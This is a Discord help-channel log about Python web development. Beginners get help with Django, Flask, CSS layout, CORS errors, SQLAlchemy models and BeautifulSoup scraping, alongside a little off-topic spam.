sqlalchemy.exc.PendingRollbackError: This Session's transaction has been rolled back due to a previous exception during flush. To begin a new transaction with this Session, first issue Session.rollback(). Original exception was: (sqlite3.IntegrityError) UNIQUE constraint failed: user.image_file
[SQL: INSERT INTO user (username, email, image_file, password) VALUES (?, ?, ?, ?)]
[parameters: ('admin', 'admin@blog.com', 'default.jpg', 'password')]
(Background on this error at: https://sqlalche.me/e/14/gkpj) (Background on this error at: https://sqlalche.me/e/14/7s2a)```
native tide
#

I need a code that can rotate a logo 360 degrees, for example when it turns right at first it has to quickly rotate up and down can anyone help

#

i will put this code on my site

frank shoal
#

Use a css keyframe

#

Or transition

native tide
#

I don't understand css language

spiral blaze
#

@frank shoal can you help me with the error, can't seem to find a solution online

tawdry vault
#

Hey. Is there anyone who knows how to work with heroku and godaddy dns servers ? I need to forward my heroku app to my domain, but i cant get it working. Anyone helps ?

jovial cloud
native tide
#

And sure I'll try dateutil. Thanks 😄

haughty isle
native tide
#

Also another question: I've a field with choices in model which looks like ```py
class User(Model):
field = CharField(choices=[('a', 'A'), ('b', 'B'), ('c', 'C')]

small tree
#

Hey,
so i have this html code:

<!doctype html>
<html>

<head>
    <title>The jQuery Example</title>

    <h2>Logged in: {{logged}}</h2>

    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"> </script>
    <script type=text/javascript> $(function() { $("#login").click(function (event) { $.getJSON('/login', { },
    function(data) { }); return false; }); }); </script>

    <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js"> </script>
    <script type=text/javascript> $(function() { $("#logout").click(function (event) { $.getJSON('/logout', { },
    function(data) { }); return false; }); }); </script>
</head>

<body>        
        <input type = "button" id = "login" value = "Login" />
        <input type = "button" id = "logout" value = "Logout" />
</body>

</html>

And i want to execute a function from my python quart (asynchronus flask) application on button click, is this js code correct?
This is my source
https://stackoverflow.com/questions/42601478/flask-calling-python-function-on-button-onclick-event
This is my python code: https://mystb.in/WendyIndicatesNamespace.python

proper hinge
#

is this js code correct?
Have you tested it yourself?

#

It's much easier to execute the code and observe the result than to carefully peruse the source code for errors

#

Also, it's a shame that so many answers on the internet still use jQuery. It's not necessary anymore for many of the common tasks. JS has the fetch API which can accomplish the same thing in this case. That way you get rid of the 3rd-party jQuery dependency.

small tree
#

I just want to test some things

#

with the backend

#

and for that i need 2 buttons

proper hinge
#

So you're unable to run the code to see if it is working?

small tree
#

but it wasnt working

#

just nothing happend

#

no errors

proper hinge
#

Ah okay. You should have started with mentioning that lol

small tree
#

I also tried again with hypercorn debug mode, nothing came in

proper hinge
#

When you mean no errors, where were you looking for errors?

#

You should be checking your web browser's development console to see errors from JavaScript

small tree
#

here we are

#
Access to XMLHttpRequest at 'https://discordapp.com/api/v6/oauth2/authorize?response_type=code&client_id=855372526875574273&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fcallback&scope=identify+guilds+email&state=kIgRNt9Lb0ZEaxfbOq0QUQy6kB6sPV' (redirected from 'http://localhost:8000/login') from origin 'http://localhost:8000' has been blocked by CORS policy: Request header field x-requested-with is not allowed by Access-Control-Allow-Headers in preflight response.
jquery.min.js:4 GET https://discordapp.com/api/v6/oauth2/authorize?response_type=code&client_id=855372526875574273&redirect_uri=http%3A%2F%2Flocalhost%3A8000%2Fcallback&scope=identify+guilds+email&state=kIgRNt9Lb0ZEaxfbOq0QUQy6kB6sPV net::ERR_FAILED
proper hinge
#

Okay so that's definitely the problem. I'm not very familiar with CORS so I'm not sure if I'll be of much help

small tree
proper hinge
#

But at least it does seem like your code is managing to request the login endpoint

small tree
#

but it isnt working correctly

cyan lotus
#

Hi, I'm using Django and have a State model/table (New York, Connecticut, Florida, etc). How can I initialize the data (state names) with something like a script that runs automatically?

#

So when I deploy my app to a server with a fresh database I don't have input the data again

#

I also have a City model with city names

#

It's like a restore database thing

#

Or SQL insert into statement

golden bone
cyan lotus
proper hinge
stone tartan
#

This isn't directly a question on code, but more of a general question. How could I (preferably using python) automate a website that I have created using HTML to give access to a segment only after a specific date.

golden bone
lilac solar
# cyan lotus Hi, I'm using Django and have a State model/table (New York, Connecticut, Florid...

Depending on your data source for I would take one of these a approaches:

  1. Static file (json/csv file etc) - I would look at generating at creating a data migration in the relevant django app (https://docs.djangoproject.com/en/3.2/topics/migrations/#data-migrations). Be sure to read it carefully as there a number of caveats to them, which means things can go wrong, but this is how I typically load this type of data into a project.
  2. API - write a simple client to pull the data in and store it, this could then be triggered regularly from a management command or a background worker like celery.
native tide
#

Hi everyone, I've been messing with django and wanted to ask if there was a way to put both sign in and sign up form on the same page

haughty isle
#

And the UserCreationForm

#

You might want to do it via JavaScript though so you can show/hide the second password widget if the username doesn't exist

sharp crater
#

Hey all, im trying to do some classwork and we are using the hug framework but im trying to create a service registry

#

how would i go about self registering?

#

i know i need to grab the address from that instance on startup and pass it to the registry to be saved

#

but i dont know how to get the address (in this case its hosted locally so it would really jsut be the port number) but you know what i mea

#

mean

golden bone
#

If you upload your image to the same folder as your html file it's just <img src="your_image.jpg">

dusk portal
#

Hey I'm just wondering how can I make a MCQ type application ( django) in which I will show questions in form of .jpeg or .png
There will be 25 questions 20 MCQ's (multiple choice questions )
5 questions there will be a form so they can answer questions
N in MCQ if user has right questions +4 marks -1 for incorrect answer and in Descriptive/on last 5/The form I want
+4 for correct
N 0 for wrong
N at last I wanna render the result n save to db

shy turtle
#

Anyone who knows Django please reply I need your help!

manic frost
shy turtle
#

okay,
I want to implement update operation in my django web app but without using forms

#

I have implemented C.R.D

inland oak
shy turtle
inland oak
#

you can put into it GET requests

#

with input parameters as Query parameters

#

url=your_address.com/yourendpoint?var1=123&var2=456

#

that would be the easiest way in your situation

#

if u wish to have more control, then only javascript is left to use

#

I am not sure how to tell it shortly

#

it is sort of big topic

#

basically u a looking to listen to "Click" events for the element u wish

#

and having its own any scripts being run on the click

inland oak
# shy turtle how?
element.addEventListener("click", myFunction);

function myFunction() {
  alert ("Hello World!");
}

that should work in your case

#

from the function you can request any existing values on the website with full control

vapid osprey
#

Anyone with an experience in Justpy library

shy turtle
#

I have implemeneted csrf token but I am still getting the csrf token not founf

shy turtle
shy turtle
native tide
#

Im a girl and need help plz join my google classrom the code is ds3d2oz

native tide
#

yes you do!

#

plz join my google classrom the code is ds3d2oz

#

plz join my google classrom the code is ds3d2oz

#

if you didnt care you wol

#

wouldnt awser me

#

IM a cute girl

dusk portal
#

if action is empty why u r rendering this

#

do ctrl +s
restart server

#

then try

native tide
#

yes

#

plz join my google classrom the code is ds3d2oz

shy turtle
shy turtle
dusk portal
dusk portal
shy turtle
dusk portal
#

duh

#

go to the homepage

#

then come again to this page

shy turtle
#

Still issue T_T

#

I copied a html file i have used in the same webapp that one is working fine but this one is causing the issue

#

I deleted the post command also but it still shows
can it be a problem of views.py?

shy turtle
#

ahhhhhhhhhhhhhh

#

mybad found it. I forgot to add csrf token on the button which redirect to this website

#

lol

wind lotus
#

how do i fix this? i want to center my nav bar, but have a bigger width than the body, which is displayed with a border

#

here's the css code for nav bar

nav {
    background-color: black;
    width: 80vw;
}
ul {
    display: flex;
    justify-content: space-between;
    margin: 0;
    padding: 0;
}
nav li {
    list-style-type: none;
}
wind lotus
#

also, i don't want to use neg margin-left cuz thats a disgusting way to do it

last scaffold
#

Yello, anyone in here using django-celery-beats? I have been trying to get the scheduler to auto detect periodic tasks in task.py files outside of the main app for like 3 days now, Im so stumped.

inland oak
#

but I would say... u know... take the nav out of the body

#

I mean don't limit the width/margin of the body

#

use "div" to wrap elements that should be limited in width

wind lotus
wind lotus
#

nvm, i broke it

inland oak
#

perhaps you could make a simple picture/scatch in paint of the wished end result?

wind lotus
#

ok

inland oak
#

ok, looks simple. uno momento

wind lotus
#

okie

inland oak
# wind lotus okie
<!DOCTYPE html>
<html lang="en">

<head>
  <title>Blog Post</title>
  <style>
    header h1,
    nav,
    main {
      margin-left: auto;
      margin-right: auto;
      width: 80%;
    }

    header h1 {
      font-weight: 200;
    }

    .black-field {
      background-color: black;
    }

    nav ul {
      list-style-type: none;
      display: flex;
      justify-content: space-between;
      align-items: center;
      margin: 0;
      padding: 0;
    }

    nav a {
      color: white;
      line-height: 5ch;
    }
  </style>
</head>

<body>
  <header>
    <h1>My exciting website!</h1>
    <div class="black-field">
      <nav>
        <ul>
          <li><a href="#">Home</a></li>
          <li><a href="#">Blog</a></li>
          <li><a href="#">About us</a></li>
          <li><a href="#">Our history</a></li>
          <li><a href="#">Contacts</a></li>
        </ul>
      </nav>
    </div>
  </header>
#
  <main>
    <article>
      <h2>An Exciting Blog Post</h2>
      <img src="balloon-sq6.jpg" alt="big hot air balloon">
      <p>
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
      </p>

      <p>
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
      </p>

      <p>
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
      </p>

      <p>
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
      </p>
#
      <p>
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
        maiores alias dignissimos excepturi quisquam in sit?
        Lorem ipsum, dolor sit amet consectetur adipisicing elit.
        Nesciunt at amet delectus repudiandae.
        Nulla nobis, provident ab odio dolores aliquam laborum, perferendis vero
      </p>
    </article>
  </main>
</body>

</html>
#

here you go

inland oak
# wind lotus okie

I would actually add also max-width

header h1,
    nav,
    main {
      margin-left: auto;
      margin-right: auto;
      width: 80%;
      max-width: 1200px
    }
#

that will make it more elegant

inland oak
#

SCSS makes me addicated.

#

a bit weird to see regular CSS

native tide
#

I created a OneToOneField linking to a model's "username" field but the column made in the new Model is "user_id". Like: ```py
class User(models.Model):
username = ...

class Auth(models.Model):
user = models.OneToOneField(
UserModel,
on_delete=models.CASCADE,
verbose_name=_("User"),
primary_key=True,
related_name="user",
to_field="username",
)
authorization_token = ...
ip_address = ...

The Table Auth is created like

user_id | authorization_token | ip_address
---------+---------------------+------------

but I need to change the name of the column to username instead

haughty isle
shy turtle
#

This is not updating can anyone help?

#

django

haughty isle
shy turtle
#

I am new to this

haughty isle
#

You should catch the actual Exception that you expect to see

shy turtle
#

I actually want to perform update operation

#

Can you help?

haughty isle
#

It looks like you're trying to update every row in your db?

shy turtle
#

no just a specific one

#

come to voice chat?
I have to submit this in 20 min

haughty isle
#

Is this homework?

shy turtle
#

no

#

i mean

#

yeah

#

but this will be taken for evaluation

haughty isle
#

You also see that it can't update a row if it doesn't exist right?

shy turtle
#

yeah It does exist
but I just cannot update the fields

haughty isle
#

Right you can't update it, if it doesn't exist

#

what are you actually trying to achieve here?

#

are you trying to create a row in your database?

knotty socket
#

Hi

shy turtle
haughty isle
#

that's the except: on line 57

shy turtle
#

in the try block

#

I try to print data
but if i print data['image']

#

it shows error because it has not been filled yet

#

when the form is filled the data['image'] is updated

haughty isle
dusk sonnet
#

Hey, i have a problem relating to heroku where i get the following error at step 17
pgloader : The term 'pgloader' is not recognized as the name of a cmdlet, function, script file, or operable program

https://cs50.readthedocs.io/heroku/

digital hinge
#

How can you see live output of a script on a website suppose forwarding the print commands using Ajax or something so the page doesn’t have to load???

haughty isle
#

Websocket and eventsource work well. And for only a small number of users you can just use chunked transfer encoding

native tide
#

anyone there

#

im testing out an api, but there;s two && as part of the password..

#

im not sure how to pass it

haughty isle
haughty isle
stone wren
#

[django]

I have this relationship, if I have the building object, how do I reach count of devices connected to it?

stark tartan
#

Can everyone can access api with Postman or api client even when I set CORS settings

stone wren
dusk sonnet
#

hi, how do u install pgloader in windows VS Code? im tryna run a command but i get the following error:
pgloader : The term 'pgloader' is not recognized as the name of a cmdlet, function, script file, or operable program

digital hinge
haughty isle
heavy dagger
#


    
    @commands.command()
    async def dps(self,ctx):      
        req = requests.get(url=url)
        soup = BeautifulSoup(req.content,"html.parser")
        tag = soup.find_all("a",limit=5)
        tag1 = [str(course) for course in tag]
        await ctx.send("\n".join(tag1.text)```
lime shoal
#
<div class="css-16q9pr7">
<div class="css-0">
<p class="chakra-text css-18umjpp">$59,241.53</p>
</div>
<p class="chakra-text css-84xzn5" title="+4.19%">+4.19%</p>
</div>```
#

If I do find for first class, it will not show me this:<p class="chakra-text css-18umjpp">$59,241.53</p>

barren moth
heavy dagger
lime shoal
#

Have to say that: <p class="chakra-text css-18umjpp">$59,241.53</p> the class is changing like every 5 seconds

barren moth
heavy dagger
#

oops

#

I FORGOT

#

i m so dumb

barren moth
heavy dagger
#

alr tysm

#

imma go cry

lime shoal
heavy dagger
#

wait what?

heavy dagger
barren moth
#
        tag1 = [course.text for course in tag]
        await ctx.send("\n".join(tag1) 
heavy dagger
#

alr

#

ty

lime shoal
#

Can anyone help me please?

restive pine
#

So I have a flask api "deployed" (no one else is using it atm just me) but Im running he flask server with just the regular python main.py now I have used gunicorn in the past but wondering is it needed why is it better than just running with python over gunicorn?

knotty socket
#

Does anyone work with selenium dice_6 ?

sharp tree
#

is it better to learn API before doing a django project

#

anyone ?

manic frost
#

@sharp tree What do you understand by "API"?

#

It's a very general word. A library has an API. A web service also has an API. Same with a piece hardware like an SSD.

#

An API is the contracts that you expose to the outside, so that other programs can talk to you.

digital hinge
#

@haughty isle using Apache with wsgi on windows.

digital hinge
warped aurora
#

<input type='radio' name='job_status' disabled value='completed' ondblclick='this.checked=false;'/>
to find if this has ondblclick i just have to check for the attribute like tags = soup.find_all('ondblclick ') right?

drifting apex
native tide
onyx flume
#

hey

#

i want to connect to this wss://streamer.cryptocompare.com/v2 in python
and it connects in postman
but when i write my code it says getaddrinfo failed

HOST = 'wss://streamer.cryptocompare.com/v2
socket_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socket_client.connect((HOST, 80))
dense anvil
#

Did you try port 443

stoic lark
#

but not loading.

haughty isle
haughty isle
knotty socket
dapper rapids
#

so anyone here have experience with Agora?
or cloud recording a live video element in html
please help me
facing a big error

native tide
#

does anyone know why my xampp subdomain shows the main domain htdocs content i have changed vhost to use a seperate folder and content but it still picks it up as a main domain when its the sub

#

nvm i must not have went over my vhost file correct it was pointing to the other ones htdocs

#

weird

oak sky
#

my django(running with uvicorn) project is for some reason not able to load the css files when rendering a page.
i get errors that look like this

Refused to apply style from 'http://127.0.0.1:8000/static/css/style.css' because its MIME type ('text/html') is not a supported stylesheet MIME type, and strict MIME checking is enabled.

In the browser

and django(uvicorn) gives me this

INFO:     127.0.0.1:51686 - "GET /static/css/style.css HTTP/1.1" 404 Not Found

This is my settings

STATIC_URL = '/static/'

#Location of static files
STATICFILES_DIRS = [os.path.join(BASE_DIR, 'static'), ]
STATIC_ROOT  = os.path.join(BASE_DIR, 'staticfiles')

and this is the file structure for my css and its located at the top level

golden bone
barren moth
#

huh, aiohttp has a web server part?

clever forge
#

With Django, how do you use a function with input data from a form in your views.py to update a div with the return value of the function?

rugged osprey
clever forge
#

The rerendering isn't working so far

#

This is in views.py:

def home(request):
    if request.method == 'Post':
        form = MachineLearning(request.POST)
        if form.is_valid():
            return render(request, 'home/welcome.html', {'form': form, "value": value})
    else:
        form = MachineLearning()

    return render(request, 'home/welcome.html', {'form': form})

This is the html:

{% extends 'base.html' %}
{% block content %}
    <form action="" method="post">
        {% csrf_token %}
        {{ form }}
        <input type="submit" value="Submit">
    </form>
    {% if value %}
        <div>The form had this as value: {{ value }}</div>
    {% endif %}
{% endblock %}
#

@rugged osprey

#

Or is the form action incorrect?

rugged osprey
#

Does it work though?

#

where is the problem

clever forge
#

The issue lies that when clicking the submit button it doesn't showcase a diff with the value

rugged osprey
#

did you check the value in "value"?
Are you actually using the inner render function? @clever forge

clever forge
#

Wait an inner render function?

rugged osprey
#

return render(request, 'home/welcome.html', {'form': form, "value": value})

clever forge
#

And yeah teh value is rn just a string with "hey"

rugged osprey
#

So the render works, just the condition is false? @clever forge

clever forge
#

Well i think the post is just not doing the thing

rugged osprey
#

but you mentioned that you checked the value.. try printing the value in the html , not just using it in the condition
create h1 tag with {{value}}

#

or debug in views.py if you can reach the mentioned inner render

#

@clever forge

clever forge
#

@rugged osprey ```{% if value %}
<div>The form had this as value: {{ value }}</div>
{% endif %}

#

should print value

rugged osprey
#

try removing the condition if it works

clever forge
#

Found the issue

#

I had Post

#

not POST

#

Damn

#

such a silly issue

rugged osprey
#

oh :D, I wasnt sure that was the issue

clever forge
#

Yeah thanks for the help my man

#

Damn i hate these kind of buys

#

bugs

dense slate
#

Anyone run into a problem where Next.js next/image (maybe React does it too) doesn't render all the pictures being served from django media folder? Most pictures do, just not all, and if I do anything to re-render the page (change window size, expand picture, etc.), the pictures continue to show up.

real wraith
#

i'm trying to figure out why fastapi websockets don't work for me.
through nginx + cloudflare they 404 but still get through to uvicorn, but if i directly websocat ws://localhost:8787 it gives me a 403 forbidden?

native tide
#

hi

#

I'm stuck

#

I've got an error here : <img src="{{ url_for('static', filename='product['image_path']')}}" class="product">

#

<section class="product_list card_list">
{% for product in products %}

    {% if product["product_category"]|string()|lower == category|string()|lower %}
        <div class="card">
            <div class="imgBox">
                <img src="{{ url_for('static', filename='product['image_path']')}}" class="product">
            </div>
            <div class="contentBox">
                {% if product["old_price"] %}
                    <h3>{{product["product_name"]}}</h3>
                    <h2 class="price"><small style="padding-right: 0.2rem; color: rgb(129, 129, 104);"><s>{{product["old_price"]}}</s></small>{{product["price"]}} Dh</h2>
                {% else %}
                    <h3>{{product["product_name"]}}</h3>
                    <h2 class="price">{{product["price"]}} Dh</h2>
                {% endif %}
                <a href="#" class="buy">Acheter</a>
            </div>
        </div>
real wraith
native tide
#

why ?

real wraith
#

you would need to escape the quotes

native tide
#

escape the quotes ?

real wraith
#

ie 'product[\'image_path\']'

native tide
#

ah

#

ok

#

thx ill try it

real wraith
#

its reading the quotes as being two different strings

native tide
#

I don't get the error anymore but image still isn't displaying

real wraith
#

check if this url is right in the html

native tide
#

this works <img src="{{ url_for('static', filename='images/products/muscletech-celltech-creactor.jpg') }}" class="product">

#

but when I use product["image_path"] i doesn't

real wraith
#

visit the website and check what it's trying to link to

native tide
#

what do you mean by what it's trying to link to

#

database : image_path : "images/products/muscletech-celltech-creactor.jpg"

#

I found the solution for my issue

#

variable shoudn't go between quotes

#

<img src="{{ url_for('static', filename='product[\'image_path\']') }}" class="product">

warped aurora
#

hiya
<select type='select' disabled name='location' disabled required>
How would i get every tag with 'disabled name'...not sure how to handle the space

signal bronze
#

is it possible for me to capture all the Network requests using python? Like all the stuff in Network tab in chrome devtools

signal bronze
#

well

#

when i make a request to something like youtube

native tide
#

from your browser?

#

I mean

#

you can make a request with python, in which case python is the client

signal bronze
#

i mean can i get these with the requests or urllib module?

native tide
#

haven touched requests or urllib in quite a while, but yes, you can use those to send requests to youtube and get a response back

signal bronze
#

i know that

#

but i mean could i get these other requests that the website makes?

native tide
#

you mean when using a browser? chrome in your example?

signal bronze
#

nvm

native tide
#

feel free to ask questions. this topic is not simple

#

just to let you know, the above question is not a valid (correct) question

#

that's why I'm bugging you with additional questions :)

#

and to answer what I think is your question. I don't think you can inspect what the browser sees with python. but you can inspect traffic, before it reaches the browser with python

signal bronze
#

Ok, thanks.

vestal hound
#

not what I would recommend

native tide
#

how? :) can you point me in general direction what to google? just want to get a general idea

vestal hound
#

since you're using Python to drive the browser, you can interact with it

#

I don't think native Selenium lets you inspect the requests directly

#

but there's an addon for that

native tide
#

ok, I see how that could work. but I think my point still stands? but you can inspect traffic, before it reaches the browser

#

in your case, you 'drive' the browser with python

#

you can't communicate with the browser process (IMO)

vestal hound
#

can you explain what you mean by "communicate with the browser process"?

native tide
#

so, once traffic reaches the browser, I don't know of a way to interact with it with python

vestal hound
#

interrogating the browser

#

from a third party program not integrated with it

#

then not really, I guess

#

you'd have to read its process memory directly etc. etc., which I think wouldn't count

native tide
#

yeah

#

that's what I mean

sour epoch
#

hey folks, I'm looking for a way to process a function in flask first before the next function can be called. in other words I want the tasks to not be handled asynchronously

#

I have a button which turns on a machine and another one that turns it off. pressing the two buttons immediately after another has very mixed results and either turns it off or leaves it still running

#

I am looking for a similar functionality as proxmox - when "shut down" is clicked on, the process is locked and further clicks are not registered until it is finished

#

what's the most optimal way of implementing this?

wise rose
#

Anyone familiar with Flask-SQLAlchemey and Automap_base?
I'm getting this record with a query but I can't access its fields.

user_exists = db.session.query(AdminUser).filter(AdminUser.email == arg_email).filter(AdminUser.admin_pass == hashed_password).first

This works, but then ...

user_exists.email

Throws an error: AttributeError: 'function' object has no attribute 'email'

I figured it out. Needed to be .first() not .first

jovial cloud
sour epoch
frozen wadi
#

yw :)

sour epoch
#

thanks guys I'll dig around some more
edit: so I couldn't get semaphores to work but instead went for a simple status update to a dictionary. when the function is called, its corresponding entry is set to 1 and any further calls get ignored until it is set back to 0

native tide
#

Hello. I trained various models with different loss functions on the same dataset. I would like to use flask to create a web-app that can be used to compare any two models for a chosen sample. These images are saved as .npys.
Essentially, I want to display images from multiple .npys in some kind of app.
Where should I start, is there a guide for something similar?

wind lotus
#

ik i can apply margin: 0 auto; for left and right
what if i want to center top and bottom as well
i tried margin: auto; but it didn't work

timber tangle
#

I don't know a way but if the height is 50vh then I put margin-top: 25vh;

pallid lily
#

how does some one make chat that loads for sender and recipient on each new message

rugged osprey
pallid lily
#

thx

rugged osprey
# pallid lily thx

Django channels is great when it works you can even easily pair users to groups and on the server side you just send certain messages to certain groups in very few lines of code
this video might be helpful https://www.youtube.com/watch?v=Wv5jlmJs2sU * the previous video was a paid course i think *
I'm pretty new to webdev and I had some troubles implementing it but in the end it worked.
I used it to create real time QnA session chat https://www.liveqna.me/ .
If you'll have some troubles you can dm me although I don't know how helpful will I be because I am having a little break in webdev because of studies.

In this tutorial series we’ll be building an advanced chat application with Django and Django Channels. The purpose of this video is to give you an introduction to Django Channels - the core of asynchronous applications in Django. Eventually we’ll add postgres and a React frontend to make this a complete chat app.

https://learn.justdjango.com
...

▶ Play video
pallid lily
#

Thanks alot man

manic crane
#

can someone please help thanks in advance => django.db.utils.IntegrityError: insert or update on table "Occupy_post" violates foreign key constraint "Occupy_post_user_id_7dca33ac_fk_auth_user_id"
DETAIL: Key (user_id)=(3) is not present in table "auth_user".

rotund perch
#

Can you create a post_save profile for example for the built in django user? without editing the user model.

tough crane
#

Hey there, anybody can tell me why this does not work? I'm feeling kinda sstupid rn. I want to have those two "divs" that are inside "project-skills-links" to be next to each other not underneath.

#

The "&-skills-link" is inside the ".project" in an scss file.

rugged osprey
# tough crane Hey there, anybody can tell me why this does not work? I'm feeling kinda sstupid...
freeCodeCamp.org

This comprehensive CSS flexbox cheatsheet will cover everything you need to know to start using flexbox in your web projects. CSS flexbox layout allows you to easily format HTML. Flexbox makes it simple to align items vertically and horizontally using rows and columns. Items will "flex" to different sizes to

tough crane
#

Thank you I will try that ❤️

#

It seems like that my changes are not applied. In the browser I can not see that the "over arching div" has any style attributes.

rugged osprey
tough crane
#

💀 💀 😅 Ugh. nvm. I complied it everytime, but I forgot to run "collect static". So it never got put into the static where it loads it from. My bad ❤️ thanks for the help

dusk portal
#
from django.db.models.signals import post_save
from django.contrib.auth.models import User
from django.dispatch import receiver
from .models import Profile


@receiver(post_save, sender=User)
def create_profile(sender, instance, created, **kwargs):
    if created:
        Profile.objects.create(user=instance)


@receiver(post_save, sender=User)
def save_profile(sender, instance, **kwargs):
    instance.profile.save() 
#

i mean where u have profile model

wraith yacht
native tide
#

Does anyone know how to display images from a .npy in a web app? I want to display on the same page, a picture from a selected dataset or numpy array. Just a link to a suitable guide what be very helpful.

#

Hello, I've got some issues with CSS and flask. Can anyone help ?

#

When linking css stylesheets it doesn't, for example show the correct colors (instead of grey I get black)

#

Two pages have the same stylesheet

#

One loads flexbox but the other won't

woeful nymph
#
@app.route('/setcookie', methods=['POST', 'GET'])
def setcookie():
       if request.method == 'POST':
              user = request.form['nm']
              resp = make_response(render_template('readcookie.html'))
              resp.set_cookie('userID', user)
              return resp

@app.route('/getcookie')
def getcookie():
   name = request.cookies.get('userID')
   return '<h1>welcome ' + name + '</h1>'
``` It's creates an error with the readcookie.html hyperlink?
#
<!DOCTYPE html>
<html>
<head>
    <script type="text/javascript" src="static/hello.js" ></script>
</head>
<body>
    <form action="/setcookie" method="post">
        <p><h3>Enter userID</h3>
        <p><input type="text" name="nm">
        <p><input type="submit" value="Login">
    </form>
    <input type="button" onclick="sayHello()" value="Say Hello" />
</body>
</html>
``` The index.html
devout aurora
#

any suggestions on where to host my flask website ?

rugged osprey
native tide
#

Hello, can anyone help me ? I want to be able to open a modal pop up window for quick view. Current code isn't showing modal when "quick view" button pressed

#

<section class="product_list card_list">
{% for product in products %}

    {% if product["product_category"]|string()|lower == category|string()|lower %}
        {% set img_path = product["image_path"]%}
        <div>{{products.index(product)}}</div>
        <div class="card">
            <div class="imgBox">
                <img src="{{ url_for('static', filename=img_path) }}" class="product">
            </div>
            <div class="contentBox">
                {% if product["old_price"] %}
                    <h3>{{product["product_name"]}}</h3>
                    <h2 class="price"><small style="padding-right: 0.2rem; color: rgb(129, 129, 104);"><s>{{product["old_price"]}}</s></small>{{product["price"]}} Dh</h2>
                {% else %}
                    <h3>{{product["product_name"]}}</h3>
                    <h2 class="price">{{product["price"]}} Dh</h2>
                {% endif %}
                <a type="button" class="buy" data-toggle="{{product['product_name']}}" data-target="#{{products.index(product)}}">Quick View</a>
            </div>
        </div>
    {% endif %}
{% endfor %}

</section>

#

{% for product in products %}
{% if product["product_category"]|string()|lower == category|string()|lower %}
{% set img_path = product["image_path"]%}
<!-- Modal: modalQuickView -->
<div>{{products.index(product)}}</div>
<div class="{{product['product_name']}} modal" id="{{products.index(product)}}" tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-body">
<div class="row">
<div class="col-lg-5">

#

<!--Carousel Wrapper-->
<img src="{{ url_for('static', filename=img_path) }}" class="img-responsive" style="margin: auto; max-width: 100%; max-height: 80%; position: relative; margin-top: 1.5rem;" height="380px" width="380px" alt="Product Image">
<!--/.Slides-->
</div>
<div class="col-lg-7">
<h2 class="h2-responsive product-name">
<strong>{{product["product_name"]}}</strong>
</h2>
<h4 class="h4-responsive">
<span class="green-text">
<strong>{{product["price"]}}</strong>
</span>
<span class="grey-text">
<small>
<s>{{product["old_price"]}} Dh</s>
</small>
</span>
</h4>

                <div style="padding-bottom: 1rem;">
                    {{product["description"]}}
                </div>



                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Fermer</button>
                    <button class="btn btn-success" ><i class="fab fa-whatsapp"></i> Acheter via Whatsapp
                    </button>
                </div>
                </div>
                <!-- /.Add to Cart -->
            </div>
            </div>
        </div>
        </div>
    </div>
    </div>


{% endif %}

{% endfor %}

manic frost
#

@native tide Do you need something moderated?

native tide
#

yes

manic frost
#

what?

native tide
#

oh actually I've solved the issue with the server

#

thx

#

btw

manic frost
#

please don't delete pings btw

native tide
#

oh sry

#

Can anybody help ? This doesn't work : <div class="modal fade" ** id="{{product['product_name']}}"** tabindex="-1" role="dialog" aria-labelledby="exampleModalLabel"
aria-hidden="true">

#

@fringe escarp

#

@wraith yacht

#

@jovial cloud

stark tartan
haughty isle
native tide
#

hello can anyone help me ?

haughty isle
native tide
#

I want to be able to open a modal pop up window for quick view. Current code isn't showing modal when "quick view" button pressed

#

@haughty isle

haughty isle
native tide
#

can u pls help me

noble smelt
#
order_product = db.Table('order_product',
    db.Column('order_id', db.String(length=36), db.ForeignKey('Orders.order_id')),
    db.Column('product_id', db.String(length=36), db.ForeignKey('Products.product_id')),
)

class Order(db.Model):
    __tablename__ = 'Orders'
    order_id = db.Column('id', db.String(length=36), default=lambda: str(uuid.uuid4()), primary_key=True)
    total_price = db.Column(db.Integer(), default=1)
    order_date = db.Column(db.DateTime(timezone=True), default=datetime.datetime.utcnow)
    shipping_address = db.Column(db.String(length=255), nullable=False)
    delivered = db.Column(db.Boolean(), default=True)
    
    user_id = db.Column(db.String(length=36), db.ForeignKey('Users.user_id'))
    products = db.relationship('Product', secondary=order_product, backref=db.backref('orders', lazy='dynamic')) 
    
    def get_id(self):
        return self.order_id

    def __repr__(self):
        return f"Order('{self.order_id}, {self.total_price}, {self.order_date}')"
        
class Product(db.Model):
    __tablename__ = 'Products'
    product_id = db.Column('id', db.String(length=36), default=lambda: str(uuid.uuid4()), primary_key=True)
    product_name = db.Column(db.String(length=255), nullable=False)
    category = db.Column(db.String(length=255), nullable=False)
